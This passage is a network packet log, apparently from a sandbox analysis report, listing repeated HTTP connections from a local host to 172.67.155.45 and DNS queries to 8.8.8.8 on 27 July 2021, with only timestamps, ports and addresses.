Jul 27, 2021 22:08:28.305747032 CEST	49851	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:28.309001923 CEST	49851	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:28.334517956 CEST	80	49851	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:28.336261988 CEST	49851	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:28.362746954 CEST	80	49851	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:28.587783098 CEST	80	49851	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:28.587892056 CEST	80	49851	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:28.587960958 CEST	49851	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:28.587977886 CEST	49851	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:28.614070892 CEST	80	49851	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:28.816293955 CEST	49852	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:28.843915939 CEST	80	49852	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:28.844078064 CEST	49852	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:28.847563982 CEST	49852	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:28.875813961 CEST	80	49852	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:28.875937939 CEST	49852	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:28.903446913 CEST	80	49852	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:29.125948906 CEST	80	49852	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:29.126064062 CEST	49852	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:29.126646996 CEST	80	49852	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:29.126727104 CEST	49852	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:29.156336069 CEST	80	49852	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:29.382612944 CEST	49853	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:29.409974098 CEST	80	49853	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:29.410902023 CEST	49853	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:29.415045977 CEST	49853	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:29.440927982 CEST	80	49853	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:29.441782951 CEST	49853	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:29.468035936 CEST	80	49853	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:29.704580069 CEST	80	49853	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:29.704602957 CEST	80	49853	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:29.704750061 CEST	49853	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:29.704770088 CEST	49853	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:29.731786966 CEST	80	49853	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:29.910727024 CEST	49854	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:29.938559055 CEST	80	49854	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:29.938798904 CEST	49854	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:29.945983887 CEST	49854	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:29.973768950 CEST	80	49854	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:29.973944902 CEST	49854	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:30.001856089 CEST	80	49854	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:30.244978905 CEST	80	49854	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:30.245280981 CEST	49854	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:30.245282888 CEST	80	49854	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:30.245353937 CEST	49854	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:30.274910927 CEST	80	49854	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:30.465485096 CEST	49855	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:30.493714094 CEST	80	49855	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:30.493880033 CEST	49855	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:30.499687910 CEST	49855	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:30.528600931 CEST	80	49855	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:30.528789997 CEST	49855	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:30.554491043 CEST	80	49855	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:30.795625925 CEST	80	49855	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:30.795646906 CEST	80	49855	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:30.795906067 CEST	49855	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:30.796036959 CEST	49855	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:30.821751118 CEST	80	49855	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:31.047336102 CEST	49856	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:31.074419022 CEST	80	49856	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:31.074728012 CEST	49856	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:31.077857971 CEST	49856	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:31.103374004 CEST	80	49856	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:31.103584051 CEST	49856	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:31.129221916 CEST	80	49856	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:31.351310968 CEST	80	49856	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:31.351339102 CEST	80	49856	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:31.352155924 CEST	49856	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:31.352382898 CEST	49856	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:31.378223896 CEST	80	49856	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:31.618752956 CEST	49857	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:31.648241997 CEST	80	49857	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:31.648436069 CEST	49857	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:31.656078100 CEST	49857	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:31.684237003 CEST	80	49857	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:31.684477091 CEST	49857	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:31.712768078 CEST	80	49857	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:31.943689108 CEST	80	49857	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:31.943713903 CEST	80	49857	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:31.943887949 CEST	49857	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:31.944142103 CEST	49857	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:31.977195978 CEST	80	49857	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:32.175494909 CEST	49858	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:32.203695059 CEST	80	49858	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:32.203855038 CEST	49858	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:32.207091093 CEST	49858	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:32.234886885 CEST	80	49858	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:32.235323906 CEST	49858	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:32.261013031 CEST	80	49858	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:32.541083097 CEST	80	49858	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:32.544377089 CEST	80	49858	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:32.544676065 CEST	49858	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:32.545578003 CEST	49858	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:32.571651936 CEST	80	49858	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:32.852777958 CEST	49859	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:32.885065079 CEST	80	49859	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:32.891330004 CEST	49859	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:32.896637917 CEST	49859	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:32.926564932 CEST	80	49859	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:32.926991940 CEST	49859	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:32.954615116 CEST	80	49859	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:33.232789993 CEST	80	49859	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:33.233800888 CEST	49859	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:33.234436989 CEST	80	49859	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:33.234515905 CEST	49859	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:33.263972044 CEST	80	49859	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:33.467214108 CEST	49860	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:33.499790907 CEST	80	49860	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:33.500436068 CEST	49860	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:33.507827044 CEST	49860	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:33.534022093 CEST	80	49860	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:33.534135103 CEST	49860	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:33.560900927 CEST	80	49860	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:33.898783922 CEST	80	49860	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:33.898941994 CEST	80	49860	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:33.899066925 CEST	49860	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:33.899164915 CEST	49860	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:33.925961971 CEST	80	49860	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:34.141263008 CEST	49861	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:34.169812918 CEST	80	49861	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:34.170021057 CEST	49861	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:34.173557043 CEST	49861	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:34.201834917 CEST	80	49861	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:34.202016115 CEST	49861	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:34.234888077 CEST	80	49861	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:34.548316002 CEST	80	49861	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:34.548342943 CEST	80	49861	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:34.548451900 CEST	49861	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:34.548541069 CEST	49861	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:34.580884933 CEST	80	49861	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:34.743751049 CEST	49862	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:34.771348953 CEST	80	49862	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:34.771558046 CEST	49862	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:34.778959990 CEST	49862	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:34.809505939 CEST	80	49862	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:34.809708118 CEST	49862	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:34.837321043 CEST	80	49862	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:35.064039946 CEST	80	49862	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:35.064290047 CEST	49862	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:35.066598892 CEST	80	49862	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:35.066709042 CEST	49862	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:35.090720892 CEST	80	49862	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:35.242790937 CEST	49863	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:35.272579908 CEST	80	49863	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:35.272839069 CEST	49863	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:35.280374050 CEST	49863	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:35.307941914 CEST	80	49863	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:35.308139086 CEST	49863	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:35.338413954 CEST	80	49863	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:35.572381973 CEST	80	49863	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:35.572406054 CEST	80	49863	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:35.572500944 CEST	49863	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:35.572583914 CEST	49863	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:35.603260040 CEST	80	49863	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:35.767066956 CEST	49864	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:35.795049906 CEST	80	49864	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:35.795173883 CEST	49864	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:35.800671101 CEST	49864	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:35.831015110 CEST	80	49864	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:35.831248999 CEST	49864	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:35.860810041 CEST	80	49864	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:36.097815037 CEST	80	49864	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:36.097847939 CEST	80	49864	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:36.097980976 CEST	49864	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:36.098023891 CEST	49864	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:36.123802900 CEST	80	49864	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:36.267443895 CEST	49865	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:36.295212984 CEST	80	49865	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:36.295403004 CEST	49865	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:36.302148104 CEST	49865	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:36.329770088 CEST	80	49865	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:36.329982042 CEST	49865	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:36.357610941 CEST	80	49865	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:36.586530924 CEST	80	49865	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:36.586661100 CEST	80	49865	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:36.586668015 CEST	49865	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:36.586716890 CEST	49865	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:36.616121054 CEST	80	49865	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:36.799514055 CEST	49866	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:36.831901073 CEST	80	49866	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:36.838887930 CEST	49866	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:36.838912010 CEST	49866	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:36.868206024 CEST	80	49866	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:36.868509054 CEST	49866	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:36.895044088 CEST	80	49866	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:37.168118000 CEST	80	49866	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:37.168189049 CEST	80	49866	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:37.168299913 CEST	49866	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:37.168359995 CEST	49866	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:37.193972111 CEST	80	49866	172.67.155.45	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2021 22:06:21.118525982 CEST	64267	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:21.140028000 CEST	53	64267	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:21.953524113 CEST	49448	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:21.981525898 CEST	53	49448	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:21.993954897 CEST	60342	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:22.023893118 CEST	53	60342	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:23.538712025 CEST	61346	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:23.562220097 CEST	53	61346	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:24.339623928 CEST	51774	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:24.362824917 CEST	53	51774	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:25.584800005 CEST	56023	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:25.605639935 CEST	53	56023	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:26.520243883 CEST	58384	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:26.540518045 CEST	53	58384	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:27.742908001 CEST	60261	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:27.766576052 CEST	53	60261	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:28.705269098 CEST	56061	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:28.726284981 CEST	53	56061	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:29.674894094 CEST	58336	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:29.697962046 CEST	53	58336	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:30.907283068 CEST	53781	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:30.929647923 CEST	53	53781	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:32.145169973 CEST	54064	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:32.166704893 CEST	53	54064	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:33.069370031 CEST	52811	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:33.090642929 CEST	53	52811	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:35.435645103 CEST	55299	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:35.457210064 CEST	53	55299	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:36.192775011 CEST	63745	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:36.213438034 CEST	53	63745	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:37.299027920 CEST	50055	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:37.322458982 CEST	53	50055	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:38.162404060 CEST	61374	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:38.185930014 CEST	53	61374	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:39.091501951 CEST	50339	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:39.114248037 CEST	53	50339	8.8.8.8	192.168.2.6
Jul 27, 2021 22:06:55.823132038 CEST	63307	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:06:55.858052015 CEST	53	63307	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:15.639252901 CEST	49694	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:15.681432962 CEST	53	49694	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:16.294101000 CEST	54982	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:16.315481901 CEST	53	54982	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:16.834650993 CEST	50010	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:16.886054993 CEST	53	50010	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:17.439420938 CEST	63718	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:17.460325956 CEST	53	63718	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:18.174911976 CEST	62116	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:18.212995052 CEST	53	62116	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:19.502243996 CEST	63816	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:19.523641109 CEST	53	63816	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:20.927108049 CEST	55014	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:20.974103928 CEST	53	55014	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:21.503694057 CEST	62208	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:21.572854996 CEST	57574	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:21.592763901 CEST	53	62208	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:21.594389915 CEST	53	57574	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:22.169656038 CEST	51818	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:22.252393961 CEST	53	51818	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:22.614212036 CEST	56628	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:22.635303020 CEST	53	56628	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:22.819202900 CEST	60778	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:22.870726109 CEST	53799	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:22.908466101 CEST	53	53799	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:22.914199114 CEST	53	60778	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:23.426461935 CEST	59329	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:23.426501036 CEST	54683	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:23.451189995 CEST	53	59329	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:23.550193071 CEST	53	54683	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:24.008462906 CEST	64021	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:24.030378103 CEST	53	64021	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:24.167352915 CEST	56129	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:24.190578938 CEST	53	56129	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:24.657164097 CEST	58177	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:24.680015087 CEST	53	58177	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:24.857611895 CEST	50700	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:24.881158113 CEST	53	50700	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:25.220058918 CEST	54069	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:25.242269993 CEST	53	54069	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:25.358773947 CEST	61178	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:25.382061958 CEST	53	61178	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:25.769077063 CEST	57017	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:25.792236090 CEST	53	57017	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:26.354448080 CEST	56327	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:26.377856970 CEST	53	56327	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:26.384929895 CEST	50243	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:26.405795097 CEST	53	50243	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:27.011033058 CEST	62055	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:27.032591105 CEST	53	62055	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:27.442493916 CEST	61249	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:27.463464975 CEST	53	61249	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:27.567912102 CEST	65252	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:27.588547945 CEST	53	65252	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:27.889799118 CEST	64367	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:27.911240101 CEST	53	64367	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:28.128863096 CEST	55066	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:28.158987999 CEST	53	55066	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:28.660516977 CEST	60211	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:28.682799101 CEST	53	60211	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:29.200289011 CEST	56570	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:29.221082926 CEST	53	56570	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:29.846616030 CEST	58454	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:29.868287086 CEST	53	58454	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:30.362584114 CEST	55180	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:30.386236906 CEST	53	55180	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:30.915838003 CEST	58721	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:30.937181950 CEST	53	58721	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:31.505188942 CEST	57691	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:31.528688908 CEST	53	57691	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:32.136862993 CEST	52943	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:32.161231041 CEST	53	52943	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:32.742846966 CEST	59489	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:32.765450954 CEST	53	59489	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:33.360507965 CEST	64022	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:33.384675026 CEST	53	64022	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:33.906018019 CEST	60023	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:33.932780981 CEST	53	60023	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:33.984142065 CEST	57193	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:34.008146048 CEST	53	57193	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:34.563345909 CEST	50248	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:34.587944984 CEST	53	50248	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:35.211946011 CEST	64413	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:35.235373020 CEST	53	64413	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:35.744800091 CEST	60429	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:35.769519091 CEST	53	60429	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:36.386444092 CEST	60345	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:36.407262087 CEST	53	60345	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:37.308650970 CEST	58730	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:37.331233978 CEST	53	58730	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:38.470330000 CEST	53830	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:38.497618914 CEST	53	53830	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:39.027151108 CEST	57226	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:39.049896002 CEST	53	57226	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:40.588782072 CEST	57880	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:40.611385107 CEST	53	57880	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:41.289868116 CEST	60850	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:41.312999964 CEST	53	60850	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:41.920481920 CEST	53187	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:41.942508936 CEST	53	53187	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:42.454157114 CEST	55830	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:42.477984905 CEST	53	55830	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:43.082942963 CEST	55145	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:43.105361938 CEST	53	55145	8.8.8.8	192.168.2.6
